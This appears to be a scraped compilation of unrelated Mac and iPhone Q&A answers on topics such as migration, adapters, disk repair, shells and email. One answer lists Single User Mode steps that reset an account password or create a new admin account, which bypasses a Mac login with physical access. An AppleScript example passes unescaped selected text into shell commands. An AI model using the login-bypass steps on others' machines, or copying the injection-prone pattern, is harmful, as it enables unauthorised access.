What you are doing is taking a VW based dune buggy and trying to turn it back into a VW Bug. It will be both quicker and easier to to boot into recovery mode. Install a fresh copy of macOS and then using the Migration Assistant, migrate your files, preferences and apps from the Hackintosh drive to the drive that came with the Mac.

That is exactly what the Migration Assistant is designed for: getting everything you need from one Mac to another quickly and easily


Can I connect a projector with HDMI to my Mac Pro's DVI connector using an adapter?

You can get DVI to HDMI adapters from around $4 online on Amazon, (just search for ‘DVI to HDMI’ on any online shopping site). As for the quality, most of the adapters that I have seen are able to do HD video and such.
Hope this helped!


App icon duplicated with a 'grayish' overlay on iPhone 6 with iOS 8

This happens sometimes when an app installation or update fails and SpringBoard still shows the icon from cache.

To fix it, try any of the following:

Sometimes, holding down on any icon to start edit mode, then tapping the × to delete the placeholder will work fine.
Reboot—this clears SpringBoard cache.
If your device is jailbroken, run uicache as mobile, then respring.


How can I reset a Mac's password from Single User Mode?

Try loading com.apple.opendirectoryd.plist instead.

Hold command-S on startup.
Run mount -uw /. (fsck -fy is not necessary.)
In 10.7 and later, run:

 launchctl load /System/Library/LaunchDaemons/com.apple.opendirectoryd.plist

or in 10.6 and earlier:

launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist

Run passwd username and reset the password.
Run reboot.

A second way to reset the login password of an account is to use Reset Password.app from the recovery partition:

Hold command-R on startup.
Open Terminal from the Utilities menu.
Run resetpassword, which opens the Reset Password application.
Select the volume and account and reset the password.

A third way is to create a new admin account:

Hold command-S on startup.
Run mount -uw /.
Run rm /var/db/.AppleSetupDone.
Run reboot.
Go through the steps of creating a new account.
Reset the password of the old account from the Users & Groups preference pane.

None of these options resets the password of the login keychain.

If FileVault 2 is enabled, you have to enter a password to start up in single user mode, and you can't use Reset Password.app to reset the password of an account.


how to log the search history in mac dictionary

The following AppleScript code can be used in an Run AppleScript action as an Automator Service, and assigned a keyboard shortcut to act on a selected word to open it in the Dictionary, and log it, if it isn't already in the log file.

on run {input, parameters}
    try
        considering diacriticals
            if first character of (input as text) is not in "abcdefghijklmnopqrstuvwxyz" then
                tell current application
                    activate
                    display dialog "The selected text starts with a non-valid character." & return & return & ¬
                        "Make a different selection and try again." buttons {"OK"} default button 1 ¬
                        with title "Dictionary Look Up Logging Service"
                end tell
                return
            end if
        end considering
        open location "dict://" & input
        set theDictionaryHistoryFilename to "Dictionary Look Up Service History Log File.txt"
        set theTargetFilename to quoted form of (POSIX path of (path to documents folder as string) & theDictionaryHistoryFilename)
        set foundSelectedWord to (do shell script "grep '^" & input & "$' " & theTargetFilename & " > /dev/null; echo $?") as integer
        if foundSelectedWord is greater than 0 then
            do shell script "echo \"" & input & "\" >> " & theTargetFilename
        end if
    end try
end run

Note that if the log file is open when the service is run, the added word may not appear until you close and reopen the log file, depending on what app you have the log file open in.


From Terminal, what happens if you try:

sudo diskutil repairVolume disk2s2
sudo diskutil mount disk2s2

This will run the Disk Utility disk repair process. Can you report back with any errors or output you get.

You can also try booting into Single User Mode (at start-up hold down Command-S). That'll drop you into a command-prompt and you can try

sudo fsck_hfs -fy /dev/disk2s2
shutdown -r now

That runs a filesystem check (hence fsck), and can also repair damage, then reboots. After the reboot, check and see if it mounts.


How do I make OS X auto focus on the window in the screen the mouse moves into?

I made a python script that does this. Check it out:
https://bitbucket.org/sivann/mac-screenfocus/src

It focuses the last app that had the focus before the mouse left the screen. No mouse clicks happen behind the scene :-)

In my setup, the external monitor is on the left, it may not work in the reverse, let me know..


There is an unofficial update of wineskin. It works on Catalina. You can find it here - https://github.com/Gcenx/WineskinServer


How to simulate slow internet connections on the mac

Apple’s official tool to slow down the network connections on you Mac for testing purposes is Network Link Conditioner

Additional Tools for Xcode [version].

Additionally, iOS has similar function accessible from within Xcode and iOS 6 or later.

Older versions of Xcode before version 4.3.2 embedded a copy of this tool. This SO thread documents some history of the tool in a similar manner to the iOS simulators and developer documentation.
There are 11 built in profiles from a Lossy Edge network with 400ms delay to a cable modem. If you need other limits, you can create custom profiles with your own settings or you can also use ipfw yourself as described in Craig Hockenberry's article slow ride, make it easy It also mentions the Speed Limit panel by Mike Schrag that is a smaller download than Xcode, but has fewer options than Apple's tool.
It slows down the entire network stack, so you can't throttle on a per app basis without doing things like install lion in a virtual machine and set that VM with a throttled stack.


Prevent macOS from bringing all windows to front when switching to an app?

Is there any way to prevent macOS from bringing all the app windows to front, or, to prevent the app windows shown on the other display from  switching too?

No. This isn't the way app switching works. Irrespective of the number of connected displays, only app is the frontmost app at a time (is in focus and the Menu Bar shows the app's menu).

However, the approach mentioned below addresses exactly the issue that you face (I face it too) and in my experience is an easy approach to take too :)

I am assuming you use the Command + Tab keyboard shortcut to switch to Google Chrome app (and to switch to an app in general).

When using the Command + Tab keyboard shortcut to switch to an app, all the open windows are brought to front. This is the default macOS behaviour.

This may be sometimes annoying (as in your particular case), when you have a barrage of windows of an app open and you have meticulously set them up so that some of them are hidden behind window(s) of other apps.

To circumvent this behaviour, the easiest approach to follow is to use Mission Control instead of Command + Tab to pick up preciously the desired window.

First, invoke Mission Control. Now hover your mouse cursor over the Chrome window that you wish to bring to front. The window border is highlighted to indicate that it is under mouse focus.

Now if you are unsure if the window is the desired one (as it is hidden behind other chrome windows or if it too small to be legible), simply press Space key to sort of Quick Look it by enlarging it.

Once you are sure that you have correct window, simply click on it to bring only that window to front.

Note: I have enabled a setting called Group windows by application under System Preferences → Mission Control which makes the Mission Control display less cluttered by grouping app windows together.

This may restrict easily visualizing all open windows of an app if a lot them are open. It could be disabled, so as to view all open windows across all the app separately under Mission Control at the cost of having a cluttered view.

Another useful side-effect of this configuration is that hovering over a window shows the relevant title in the centre of the window, which further helps in easily identifying its contents.


bash process stays 20% CPU usage after boot

Select that bash process in Activity Monitor and click Inspect, then switch to Open Files and Ports tab. This should give you some clue on how that process was started and what it is doing. Otherwise update your question with that info, someone surely will help you here


Bash or Zsh, what's the difference, why use one or the other?

This is from the Zsh FAQ:

2.5: Similarities with bash

The Bourne-Again Shell, bash, is another enhanced Bourne-like shell; the most obvious
difference from zsh is that it does not attempt to emulate the Korn shell. Since both
shells are under active development it is probably not sensible to be too specific
here. Broadly, bash has paid more attention to standards compliancy (i.e. POSIX) for
longer, and has so far avoided the more abstruse interactive features (programmable
completion, etc.) that zsh has.

I've used them both, but prefer Bash now days because the machines I work on default to bash consistently. The standards-compliancy comment is important to me because that means consistency between OSes.

Zsh has nice autocompletion abilities, but I kept finding cases where it didn't know what I wanted. That was several years ago, so it might have improved since then.

I've found that enabling "vi-mode" (set -o vi) in Bash makes it a much nicer command-line environment than it normally is, so I do that immediately in my .bashrc file.

When writing shell scripts I don't ever program in either bash or zsh - I program using sh (/bin/sh), because it's the lowest common denominator and the least likely to have compatibility issues. That's just an old habit that has stood me well.


If you've restored the phone once, the data is no longer on the device.

You (your grandma) would have either needed a backup via iTunes on their computer, or backups being made via iCloud.

If you plugged the phone into her computer and there weren't restores available, and the iPhone setup phase doesn't say it can restore from iCloud, there's no backups to restore.

However, phone backups and service data are two different things. There is a change that if you set up the phone and log her back into her Apple ID, her "live account data" (service data) would come back if they were being stored in iCloud via iCloud Photos.

Have you gone all the way through the restore process and Apple ID login on her phone?


Can I get a list of file types a particular app is set as the default to open?

Take a look at RCDefaultApp for Mac OS X.  This app adds a "Default Apps" preference pane to your System Settings where you can view and change your Mac's file associations.  Under the hood it interacts with the LaunchServices database.


How to fix slow Remote Desktop To Windows 7 PC?

It's impossible to know why it may be slow without having access to more detailed info about your current setup.  However if you want to try alternatives to check whether it's consistently slow (and therefore perhaps infrastructure based) or just the MS app that's slow, then you can do worse than try to use CORD which is a nice open source remote desktop alternative that's free.


It is not immediately possible to record the windows of Chrome/Safari when they're not displayed on screen, as they really aren't rendered when not needed.
You could possibly make a more involved setup by running a virtualized operating system with Chrome that you can record indepedently on whether it is shown on the monitor or not.
Similarly you could do something like running Chrome under X11 using x11vnc or similar to enable off-screen recording.
There is also the possibility of using Headless Chrome by way of for example the puppeteer-video-recorder plugin to record a video - however I think it would be quite a hassle to get setup.
As for routing the audio as you wish, you should be able to relatively easily set this up by using the Loopback program.


How to remove locally stored Exchange emails?

Outlook 2011 cannot disable storing the email locally. Your best alternative would be to access the email using Outlook Web Access (if it is enabled).


Deleted email from iPad while offline gets a strikethrough line on web app rather than deleted

The IMAP protocol has this silly concept of a message that has been marked as deleted but isn't really actually deleted.

The iPad only marks the mail as deleted. The IMAP client on the iPad considers this sufficient for the message to be gone, and you can't see it anymore when using that client. The web mail wants the message to be REALLY deleted before it goes away. If it's just marked deleted, it will still appear... with a strikethrough line.

To get the message to disappear from the web mail, you need to expunge deleted messages. The web mail interface might offer a way to do it directly, or else it will do it automatically when you delete any message from within the web mail interface. When messages are expunged, they are expunged all together, so it is enough to delete one single other message, and all of the other marked deleted (struck through) emails in the same folder will follow.


Jailbroken iphone 4S stuck in recovery mode after iOS update

Updating iOS at all on your jailbroken iPhone (including OTA) will break everything. You will not be able to recover your data from the device and you should restore in iTunes. Once restored, restore from your iCloud/iTunes backup if necessary and re-jailbreak.


How to fix thunderbolt to vga display port?

If the adapter works fine on another Mac (second bullet point) then it is not the adapter. If you have tried a number of different adapters on your Mac and all of them do not work then I would then assume that is it one of two things:

A hardware issue with your Mac. EG a bad lightning port.
An issue with the installation of macOS on your Mac.

From your description of the symptoms I am leaning towards #1. However since backing up your Mac, re-formatting the HD, reinstalling the OS and restoring your files is a free (if tedious) procedure that would eliminate whether or not it is an OS issue I would start with that.

And if that fails you likely need to take the Mac in for repair.


How do I install Darwin 13 on OS X 10.9.1?

The problem is somewhere with my bash (I've brewed some GNU utils, it is maybe it). So, I've used zsh and the makecommand compiled great!